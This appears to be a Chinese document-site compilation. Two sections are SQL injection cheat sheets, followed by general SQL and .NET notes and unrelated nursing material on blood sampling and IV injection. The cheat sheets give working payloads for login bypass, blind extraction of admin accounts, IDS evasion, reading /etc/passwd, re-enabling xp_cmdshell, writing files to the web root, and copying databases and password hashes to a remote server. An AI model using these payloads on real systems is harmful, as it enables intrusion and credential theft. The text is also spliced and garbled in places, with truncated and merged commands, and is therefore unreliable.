第一篇:SQL注射技术总结文档
天马行空●狼技术小组[1.S.T ](http://www.xiexiebang.com--------------
翻译:浪迹天.Iceskysl@1.S.T
Iceskysl_At_www.xiexiebang.com
1.Introduction.2.Testing for vulnerabilities.3.Gathering Information.4.Data types.5.Grabbing Passwords.6.Create DB accounts.7.MySQL OS Interaction.8.Server name and config.9.Retrieving VNC password from registry.10.IDS Signature Evasion.11.mySQL Input Validation Circumvention using Char().12.IDS Signature Evasion using comments.13.Strings without quotes.1.When a box only has port 80 open, it's almost certain the admin will patch his server, The best thing to turn to is web attacks.Sql Injection is one of the most common web attacks.You attack the web application,(ASP, JSP, PHP, CGI..etc)rather than the webserver or the services running on the OS.Sql injection is a way to trick using a qurey or command as a input via webpages,most websites take parameters from the user like username and passwrod or even their emails.They all use Sql querys.2.First of you should start with something simple.Pass:' or 1=1--' having 1=1--' SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablename')--' or 1 in(select @@version)--' and 1 in(select servername from master.sysservers)--
9.Retrieving VNC password from registry.-';declare @out binary(8)@rootkey = 'HKEY_LOCAL_MACHINE',@value_name='password',select cast(@out as bigint)as x into TEMP--' OR 'something' = 'some'+'thing'' OR 'something' like 'some%'' OR 'text' > 't'' OR 2 BETWEEN 1 and 3
11.mySQL Input Validation Circumvention using Char().Inject without quotes(string = “%”):--> ' or username like char(37);Inject with quotes(string=“root”):--> ' union select * from users where login = char(114,111,111,116);load files in unions(string = “/etc/passwd”):-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;Check for existing files(string = “n.ext”):-->' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
12.IDS Signature Evasion using comments.-->'/**/OR/**/1/**/=/**/1-->Username:' or 1/*-->Password:*/=1---->UNI/**/ON SEL/**/ECT-->(Oracle)
';EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'-->(MS SQL)
';EXEC('SEL' + 'ECT US' + 'ER')
13.Strings without quotes.--> INSERT INTO Users(Login, Password, Level)VALUES(char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72)+ char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72), 0x64)
Greets: kaneda, modem, wildcard, #black and pulltheplug.8
第二篇:SQL注射语句的经典总结
SQL注射语句的经典总结
SQL注射语句的经典总结 SQL注射语句
1.判断有无注入点
';and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count(*)from *)
and 0<>(select count(*)from admin)---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*)from admin)and 1<(select count(*)from admin)
4.猜解字段名称 在len()括号里面加上我们想到的字段名称.and 1=(select count(*)from admin where len(*)>0)--
and 1=(select count(*)from admin where len(用户字段名称name)>0)and 1=(select count(*)from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*)from admin where len(*)>0)
and 1=(select count(*)from admin where len(name)>6)错误
and 1=(select count(*)from admin where len(name)>5)正确 长度是6 and 1=(select count(*)from admin where len(name)=6)正确
and 1=(select count(*)from admin where len(password)>11)正确
and 1=(select count(*)from admin where len(password)>12)错误 长度是12 and 1=(select count(*)from admin where len(password)=12)正确
6.猜解字符
and 1=(select count(*)from admin where left(name,1)='a')---猜解用户帐号的第一位
and 1=(select count(*)from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*)from Admin where Asc(mid(pass,5,1))=51)--这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--and user_name()='dbo'--and 0<>(select user_name()--看xp_cmdshell是否删除
and 1=(Select count(*)FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:inetpubwww.xiexiebang.com;Address=192.168.0.1,1433;', 'select * from table'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1')select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1')select * from table2 insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns 复制数据库:
insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table1')select * from database..table1 insert into
OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select
* from table2')select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from
_sysxlogins')select * from database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;--获得当前所有驱动器
';insert into temp(id)exec master.dbo.xp_subdirs 'c:';--获得子目录列表
';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--获得所有子目录的目录树结构,并寸入temp表中
';insert into temp(id)exec master.dbo.xp_cmdshell 'type c:webindex.asp';--查看某个文件的内容
';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c:';--
';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c: *.asp /s/a';--
';insert into temp(id)exec master.dbo.xp_cmdshell 'cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc'
';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--(xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--语句9:and 1=(Select IS_MEMBER('db_owner'));--把路径写到表中去:
;create table dirs(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'c:'--and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--;create table dirs1(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'e:web'--and 0<>(select top 1 paths from dirs1)--把数据库备份到网页目录:下载
;declare @a sysname;set @a=db_name();backup database @a to disk='e:webdown.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85))T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1)from sysobjects)参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)-=-wscript.shell example-=-declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
';declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--declare @o int, @f int, @t int, @ret int declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while(@ret = 0)begin print @line
exec @ret = sp_oamethod @f, 'readline', @line out end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubwwwrootfoo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ''
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
';declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--xp_dirtree适用权限PUBLIC exec master.dbo.xp_dirtree 'c:'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree 'c:'
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
第三篇:SQL总结
1.SQL语句的With cte as用法:
with as短语,也叫做子查询部分。即定义一个SQL片断,该片断会让整个SQL语句所用到。eg:
with
cr as
(select CountryRegionCode from person.CountryRegion where Name like 'C%')
select * from person.StateProvince where CountryRegionCode in(select * from cr)
CTE后面必须直接跟使用CTE的SQL语句(如select,insert,update等),否则,CTE将失效。CTE后面也可以跟其他的CTE,但只能使用一个with,多个CTE中间用逗号(,)分隔。eg:
with
cte1 as
(select * from table1 where name like 'abc%'),cte2 as
(select * from table2 where id > 20),cte3 as
(select * from table3 where price < 100)
select a.* from cte1 a, cte2 b, cte3 c where a.id = b.id and a.id = c.id
2.case when then多条件判断:
CASE
WHEN 条件1 THEN 结果1
WHEN 条件2 THEN 结果2
WHEN 条件3 THEN 结果3
WHEN 条件4 THEN 结果4
.........WHEN 条件N THEN 结果N
ELSE 结果X
END
Case具有两种格式。简单Case函数和Case搜索函数。
--简单Case函数
CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END
--Case搜索函数
CASE WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END
3.select语句前面加@转义字符的作用是强制后面的字符串中不使用转义字符,当作字符串
处理。
eg:string ss=@“aanaa”;输出:aanaa
string ss=“aanaa”;
输出:aa
aa
4.select getdate():从SQL SERVER返回当前的时间与日期。
select first():函数返回指定的字段中第一个记录的值。
select last():函数返回指定的字段中最后一个记录的值。
select ucase():把字段的值转换为大写。
select lcase():把字段的值转换为小写。
select round():用于把数值字段设入为指定的小数位数。SELECT ROUND(column_name,decimals)FROM table_name
column_name 必需。要舍入的字段。decimals 必需。规定要返回的小数位数。format():用于对字段的显示进行格式化。
SELECT ProductName, UnitPrice, FORMAT(Now(),'YYYY-MM-DD')as PerDate FROM Products
5.union与union all的区别:
对重复结果的处理,UNION ALL 会将每一笔符合条件的资料都列出来,无论资料值有无重复
6.SELECT INTO 语句从一个表中选取数据,然后把数据插入另一个表中。
SELECT INTO 语句常用于创建表的备份复件或者用于对记录进行存档。
将整个table1复制到table2中:
INSERT INTO SELECT语句
语句形式为:Insert into Table2(field1,field2,...)select value1,value2,...from Table1(要求目标表Table2必须存在,由于目标表Table2已经存在,所以我们除了插入源表Table1的字段外,还可以插入常量。)
SELECT INTO FROM语句
语句形式为:SELECT value1, value2 into Table2 from Table1(要求目标表Table2不存在,因为在插入时会自动创建表Table2,并将Table1中指定字段数据复制到Table2中)
7.nchar :固定长度的 Unicode 数据,最大长度为 4,000 个字符。
nvarchar:可变长度Unicode 数据,其最大长度为4,000字符。
char: 固定长度的非 Unicode 字符数据,最大长度为 8,000 个字符。
varchar:可变长度的非Unicode数据,最长为8,000 个字符。
char和varchar都是字符串类型的,用Unicode编码的字符串,结果是字符的整数值.8.select 1 from:
select 1 from mytable;与select anycol(目的表集合中的任意一行)from mytable;与select * from mytable 作用上来说是没有差别的,都是查看是否有记录,一般是作条件用的。select 1 from 中的1是一常量,查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。
查看记录条数可以用select sum(1)from mytable;等价于select sum(*)from mytable;
9.SQL中的字符匹配:
[NOT] LIKE '<匹配串>' [ESCAPE '<换码字符>']
<匹配串>可以是一个完整的字符串,也可以含有通配符%和_
%代表任意长度的字符串。eg:a%b表示以a开头以b结尾的任意长度的字符串。_代表任意单个字符。eg:a_b表示以a开头,以b结尾的长度为3的任意字符串。ESCAPE定义转义字符,当转义符置于通配符之前时,该通配符解释为普通字符。
10.GROUP BY子句将查询结果按某一列或多列的值分组,值相等的为一组。HAVING短语给出选择组的条件。
11.ROW_NUMBER()OVER函数的基本用法 :
row_number()OVER(PARTITION BY COL1 ORDER BY COL2)表示根据COL1分组,在分组内部根据 COL2排序,而此函数计算的值就表示每组内部排序后的顺序编号(组内连续的唯一的)
select row_number()over(order by field2 desc)as row_number,* from t_table order by field1 desc Desc:倒序,Asc:正序
12.DbDataAdapter.Fill 方法(DataTable, IDbCommand, CommandBehavior):
在DataTable中添加或删除新行以匹配使用指定 DataTable 和 IDataReader 名称的数据源中的行。
13.SqlCommand.ExecuteScalar 方法:执行查询,并返回查询所返回的结果集中第一行的第一列,忽略其他列或行。
14.inner join(等值连接)只返回两个表中联结字段相等的行
left join(左联接)返回包括左表中的所有记录和右表中联结字段相等的记录
right join(右联接)返回包括右表中的所有记录和左表中联结字段相等的记录
15.e.Item.ItemType==ListItemType.Item||e.Item.ItemType==ListItemType.AlternatingItem指触发的类型为DadaList中的基本行或内容行
16.order by的用法:
如果Order by 中指定了表达式Nulls first则表示null值的记录将排在最前(不管是asc 还是 desc)
如果Order by 中指定了表达式Nulls last则表示null值的记录将排在最后(不管是asc 还是 desc)
eg:将nulls始终放在最前
select * from zl_cbqc order by cb_ld nulls first
--将nulls始终放在最后
select * from zl_cbqc order by cb_ld desc nulls last
单列升序:select
单列降序:select
多列升序:select
多列降序:select
多列混合排序:select
17.C#中NULL,“",DBNULL,String.Empty,Convert.IsDBNull区别
(1)NULL
null 关键字是表示不引用任何对象的空引用的文字值。null 是引用类型变量的默认值。那么也只有引用型的变量可以为NULL,如果 int i=null,的话,是不可以的,因为Int是值类型的。
(2)DBNULL
DBNull在DotNet是单独的一个类型,该类只能存在唯一的实例,DBNULL.Value,DBNull唯一作用是可以表示数据库中的字符串,数字,或日期,为什么可以表示原因是DotNet储存这些数据的类(DataRow等)都是以 object 的形式来储存数据的。对于 DataRow , 它的 row[column] 返回的值永远不为 null,要么就是具体的为column 的类型的值。要么就是 DBNull。所以 row[column].ToString()这个写法永远不会在ToString那里发生NullReferenceException。DBNull 实现了 IConvertible。但是,除了 ToString 是正常的外,其他的ToXXX都会抛出不能转换的错误。
(3)”“和String.Empty
这两个都是表示空字符串,其中有一个重点是string str1=”“ 和 string str2=null 的区别,这样定义后,str1是一个空字符串,空字符串是一个特殊的字符串,只不过这个字符串的值为空,在内存中是有准确的指向的,string str2=null,这样定义后,只是定义了一个string 类的引用,str2并没有指向任何地方,在使用前如果不实例化的话,都将报错。
(4)Convert.IsDBNull()
Convert.IsDBNull()返回有关指定对象是否为 DBNull 类型的指示,即是用来判断对象是否为DBNULL的。其返回值是True或Flase。
string.Empty不分配存储空间
”“分配一个长度为空的存储空间
所以一般用string.Empty
null表示一个对象的指向无效,即该对象为空对象
DBNull。Value表示一个对象在数据库中的值为空,或者说为初始化,DBNull。Value对象指向有效的对象
18.DataSet.Relations.add():获取用于将表链接起来并允许从父表浏览到子表的关系的集合。DataSet.Relations.Add(”关联名称“, 父关联主键字段, 子关联外来键字段)
19.DataBind():在Page_Load方法中我们建立了一个数组(ArrayList),并通过DataBind方法将这个数组捆绑到了DropDownList控件中,使得DropDownList最后有数据显示:)
20.IN 操作符允许我们在 WHERE 子句中规定多个值。
SQL IN 语法:SELECT column_name(s)FROM table_nameWHERE column_name IN(value1,value2,...)
21.DataBinder.Eval方法:在运行时使用反射来分析和计算对象的数据绑定表达式<%# DataBinder.Eval(Container.DataItem, ”ColumnName“)%>
eval()函数可计算某个字符串,并执行其中的的 JavaScript 代码。
可以理解为反射的绑定
或者理解为将Eval()里的字符串转换为表达式
在数据绑定的时候常用,其实是通过反射的手段实现了绑定
22.sql语句 count(1)与 count(*)的区别 :
count(1),其实就是计算一共有多少符合条件的行。
1并不是表示第一个字段,而是表示一个固定值。
其实就可以想成表中有这么一个字段,这个字段就是固定值1,count(1),就是计算一共有多少个1.count(*),执行时会把星号翻译成字段的具体名字,效果也是一样的,不过多了一个翻译的动作,比固定值的方式效率稍微低一些。
23.DataTable.NewRow :创建与该表具有相同框架的新的DataRow
24.ExcuteNonQuery():
如果要创建或修改数据库结构,操作成功时返回值为-1;如果要更新记录,返回值为操作影响的记录数;
ExecuteNonQuery()方法主要用于用户更新数据,通常它使用Update,Insert,Delete语句来操作数据库,其方法返回值意义:对于 Update,Insert,Delete 语句 执行成功是返回值为该命令所影响的行数,如果影响的行数为0时返回的值为0,如果数据操作回滚得话返回值为-1,关于MyCommand的ExecuteNonQuery(),ExecuteScalar(),ExecuteReader方法的区别:
***ExecuteNonQuery():执行SQL,返回一个整型变量,如果SQL是对数据库的记录进行操作,那么返回操作影响的记录条数,如果是SQL=”CREATE TABLE LookupCodes(code_id smallint IDENTITY(1,1)PRIMARY KEY CLUSTERED, code_desc varchar(50)NOT NULL)"那么在表创建成功后该方法返回-1。
***ExecuteScalar():执行SQL,(如果SQL是查询Select)返回查询结果的第一行第一列,如果(如果SQL不是查询Select)那么返回未实列化的对象,因为对象未实列化,所以返回结果不能ToString(),不能Equals(null),也就是说返回结果没有任何作用
***executeReader方法执行SQL,(如果SQL是查询Select)返回查询结果的集合,类型是 System.Data.OleDb.OleDbDataReader,你可以通过此结果,获取查询的数据。如果(如果SQL不是查询Select)那么返回一个没有任何数据的System.Data.OleDb.OleDbDataReader类型的集合(EOF)
25.DbDataAdapter.Fill 方法(DataTable):在 DataSet 的指定范围中添加或刷新行,以与使用 DataTable 名称的数据源中的行匹配。
26.Decimal:decimal(2,1),有效长度为2,小数位占1位。
varchar:可变长度的非Unicode数据,最长为8,000 个字符。
nvarchar:可变长度Unicode 数据,其最大长度为4,000字符。
char: 固定长度的非 Unicode 字符数据,最大长度为 8,000 个字符。
nchar :固定长度的 Unicode 数据,最大长度为 4,000 个字符。
char和varchar都是字符串类型的,用Unicode编码的字符串,结果是字符的整数值.timestamp:数据类型是一种特殊的数据类型,用来创建一个数据库范围内的唯一数码。一个表中只能有一个timestamp列。每次插入或修改一行时,timestamp列的值都会改变。尽管它的名字中有“time”,但timestamp列不是人们可识别的日期。在一个数据库里,timestamp值是唯一的Uniqueidentifier特殊数据型
SELECT UPPER('Kelly'):upper是数据库的字符串函数,它的作用是将传递给它的英文字符串中小写字母转换为大写(大写的保持不变);
SELECT LOWER('kelly'):lower将指定字符串中的大写字母换成小写字母
SUBSTRING(colunm name,startposition,length)从指定字符串中取字符
eg:SQL实例:
显示每个地区的总人口数和总面积.
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
先以region把返回记录分成多个组,这就是GROUP BY的字面含义。分完组后,然后用聚合函数对每组中的不同字段(一或多条记录)作运算。
显示每个地区的总人口数和总面积.仅显示那些面积超过1000000的地区。
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
HAVING SUM(area)>1000000
27.SELECT [ALL|DISTINCT] <目标列表达式> [别名] [,<目标列表达式> [别名]]…… FROM <表名或视图名> [别名] [,<表名或视图名> [别名]]……
[WHERE <条件表达式>]
[GROUP BY <列名1> [HAVING <条件表达式>]]
[ORDER BY <列名2> [ASC|DESC]]
INSERT
INTO <表名> [(<属性列1>[,<属性列2>……])]
VALUES(<常量1> [,<常量2>]……)
UPDATE <表名>
SET <列名>=<表达式> [,<列名>=<表达式>]……
[WHERE <条件>]
DELETE
FROM <表名>
[WHERE <条件>]
第四篇:皮内注射技术试题
采血技术操作试题
一、填空题(2分/空 共50分)
1.静脉采血法目前包括()和()两种。可能发生的并发症包括()()()()()2.掌握正确的穿刺方右手持注射器,针头和皮肤成()或(),在股动脉内侧()处刺入,见抽出暗红血液,表示已达股静脉。
3.评估血管条件,尽量选择()()()浅表静脉。4.采血前应评估患者()()()()等。5.采血后有效按压是()的有效措施。
6.动脉前认真选择血管,避免在已出现()()()()等情况的部位穿刺。
7.动脉穿刺采血法操作主要用于().8.动脉穿刺采血操作已经成为护士必须熟练掌握的临床护理技术,但该操作需要较高的技术,操作不当,会造成诸多不良后果,如()()()()()()()()等。
二、选择题(5分/题 共50分)
1、静脉穿刺是实验室试验获取()样本的主要技术和方法 A体液 B血液 C 脑脊液 D尿液
2.采血对象取坐位或卧位,手臂伸直平放在床边或台面,腕下垫枕上,暴露穿 刺部位,找好合适采血静脉后,在静脉穿刺部位上方4-7厘米处扎紧压脉带,捆绑时间不应超过(A)A 1分 B 2分 C 3分 D 4分
3.当轻压或轻拍时能感觉其回弹的静脉即为合适血管。最常用的选择部位是 血管丰富并且血管贴近皮肤表层的(D)
A上臂区域 B 上肢区域 C 肘后区域 D 肘前区域
4.使针与皮肤成(),在静脉上或旁侧刺入皮下,再沿静脉走向 潜行刺入静脉,待回血后,将针头顺势探入少许固定不动,以免采血时针头滑出,但不可用力深刺,以免造成血肿。
A l5度一30度 B 15-20度 C 20-30度 D30-40度
5.抽血至所需量,放松压脉带,用无菌棉签压住进针处拔针,将采样对象前臂 屈曲压迫(3-5分钟)A 1-2分钟 B 2-4分钟 C 3-5分钟 D 4-6分钟 6.采血后发生晕厥或眩晕,可让其(平卧)休息片刻,即可恢复。A平卧 B坐卧 C斜卧 D 站立 7.血气分析时,标本的采集处理中,以下做法错误的是()
A.采集动脉血 B.以肝素抗凝 C.立即送检 D.不需与空气隔绝 E.抽血后将针头刺入胶塞摇匀血液 8.股动脉位于()
A.股三角内由髂外动脉发出 B .股神经外侧 C.股静脉内侧 D.股静脉外侧 E.股深动脉内侧
9.动脉采血技术用于()
A.交叉配血
B.血常规 C.血气分析 D.血生化 10.采集动脉血穿刺针头斜面最佳穿刺角度是()
A.向上与皮肤呈45度-90度 B向下与皮肤呈45度-90度 C.向上与皮肤呈60度 D向上与皮肤呈30度 E。向上与皮肤呈15度
第五篇:静脉采血与注射技术
静脉采血与注射技术
概念:
自静脉抽取血标本或注入药液的方法 常用静脉:
1、四肢浅静脉:上肢常用肘部浅静脉(贵要静脉、肘正中静脉、头静脉)腕部及手背静脉,下肢常用大隐静脉、小隐静脉及足背静脉
2、头皮静脉 3:股静脉
静脉采血技术 目的:
为患者采集,留取静脉血标本,协助临床诊断疾病,为临床治疗提供依据 血标本分为:
1、全血标本:测定血沉及血液中某些物质如血糖、尿素氮、肌酐、尿酸、肌酸、血氨的含量。
2、血清标本:测定肝功能、血清酶、脂类、电解质等。
3、血培养标本:培养检测血液中的病原菌。操作前准备阶段
1、衣帽整齐、规范洗手、戴口罩;
2、用物:治疗车、清洁治疗盘、棉签、皮肤消毒液、手消毒液、止血带、弯盘、手套,根据医嘱备注射器、标本容器、利器盒、试管架、小垫巾;
3、核对检验单、标本容器,贴化验单附联标签,按要求填写各项内容,检查标本容器是否完好;
4、将物品按顺序置于治疗车上。操作步骤阶段
1、将用物推至患者床旁,核对床号、姓名、并询问患者的名字,向患者说明目的及配合方法,询问患者是否按要求进行采血前准备;
2、再次核对检验单,并协助患者取舒适卧位;
3、选择合适的穿刺部位,评估穿刺部位皮肤及血管情况并征求患者意见,铺小垫巾,放好止血带,进行手消毒;
4、消毒皮肤、扎止血带,再次消毒皮肤,嘱患者握拳;
5、戴手套,按静脉穿刺法穿刺血管,见回血后抽取所需血量,松止血带,嘱患者松手,迅速拔出针头、用干棉签嘱患者按压局部3~5min、勿揉搓
;
6、取下针头,跟据检查目的将血液沿管壁注入标本容器,脱去手套;
7、再次核对,协助患者取舒适卧位,整理用物并致谢,规范洗手;
8、标本连同检验单及时送检;
9、必要时记录抽血时间、抽血量。注意事项
1、血标本做生化检验时,应在病人空腹时采取,此时血液的各种化学成分处于相对稳定状态,检验结果比较 准确。因此,应事先通知病人,避免因进食水而影响检验结果。
2、根据不同的检验目的选择标本容器,并计算所需血量。一般血培养取血3~5ml,亚急性细菌性心内膜炎病人为提高阳性培养率,采血量需增至10~15ml。
3、严禁在输液、输血的针头处取血,以免影响检验结果应在对侧肢体采集。
4、同时抽取几项检验标本,一般注入容器的顺序为:血培养瓶→抗凝管→干燥管,动作应迅速准确。
5、血培养标本应注入无菌容器内,不可混入消毒剂、防腐剂及药物,以免影响检验结果。
静脉注射技术 目的
1、注入药物,用于药物不宜口服、皮下、肌内注射,或需迅速发挥药效时。
2、注入药物作某些诊断性检查。
3、静脉营养治疗。
操作前准备阶段
护士:洗手,戴口罩,检查并核对药物、医嘱,按医嘱准备药液。
物品:治疗盘,注射器(根据药量准备)、头皮针、药液、止血带、输液贴、治疗巾、消毒垫巾、消毒液等。 环境:清洁、舒适。 病人:坐位或卧位。操作步骤阶段 治疗室:
1、核对医嘱,准备及检查药液,检查无菌物品。
2、消毒瓶盖二次(安瓿锯前后各消毒1次),打开安瓿,取出注射器抽吸药液(剂量准确)。
3、放入治疗盘中备用。病房:
1、携用物至床旁,核对后向病人解释操作的目的,方法及所注药物及作用。
2、暴露肢体,扎止血带选择血管后,松开止血带,在预穿刺血管的下面放消毒垫巾。
3、消毒皮肤一次,皮肤待干,撕开输液贴贴在治疗盘上,扎止血带(在穿刺部位上方约6cm处扎紧),再次消毒皮肤,嘱病人握拳使静脉充盈。
4、排尽注射器内空气。
5、再次核对。
6、左手绷紧皮肤,右手持注射器,针头斜面向上进针(与皮肤呈20-30度角),见回血沿血管进针少许,松止血带并嘱病人松拳。
7、固定针栓缓慢注入药液,同时观察病人有无不良反应,(注射过程中,可稍抽回血以观察针头有无脱出血管)。
8、注射完毕拔针,按压注射部位与进针点。
9、再次查对。
注意事项
1、严格执行查对制度和无菌操作制度。
2、对需要长期静脉给药的患者,应当保护血管,由远心端至近心端选择血管穿刺。
3、注射过程中随时观察患者的放应。
4、静脉注射对组织有强烈刺激性的药物,一定要在确认针头在静脉内后方可推注药液,以免药液外溢导致组织坏死。静脉注射失败的常见原因
1、针头刺入静脉过少,抽吸虽有回血,但松解止血带时静脉回缩,针头滑出血管,药液注入皮下。
2、针头斜面未完全刺入静脉,部分在血管外,抽吸虽有回血,但推注时药液溢至皮下,局部隆起并有痛感。
3、针头刺入较深,斜面一半穿破对侧血管壁,抽吸有回血,推注少量药液,局部可无隆起,但因部分药液溢出至深层组织,患者有痛感。
4、针头刺入过深,穿破对侧血管壁,抽吸无回血。